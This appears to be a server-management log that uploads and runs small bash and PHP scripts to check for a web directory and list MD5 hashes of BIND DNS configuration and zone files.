MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 18:57:45: Establishing a connection
2026-03-04 18:57:46: Establishing a connection
2026-03-04 18:57:46: 

PUT: /tmp/pkp706879

#!/bin/bash
if [ -d "/var/www/pjy_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-04 18:57:46: 

chmod 755 /tmp/pkp706879; /tmp/pkp706879; rm /tmp/pkp706879

2026-03-04 18:57:46: 


0


2026-03-04 18:57:47: Establishing a connection
2026-03-04 18:57:48: Establishing a connection
2026-03-04 18:57:48: 

PUT: /tmp/pkp392592

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 18:57:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp392592; rm /tmp/pkp392592'

2026-03-04 18:57:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
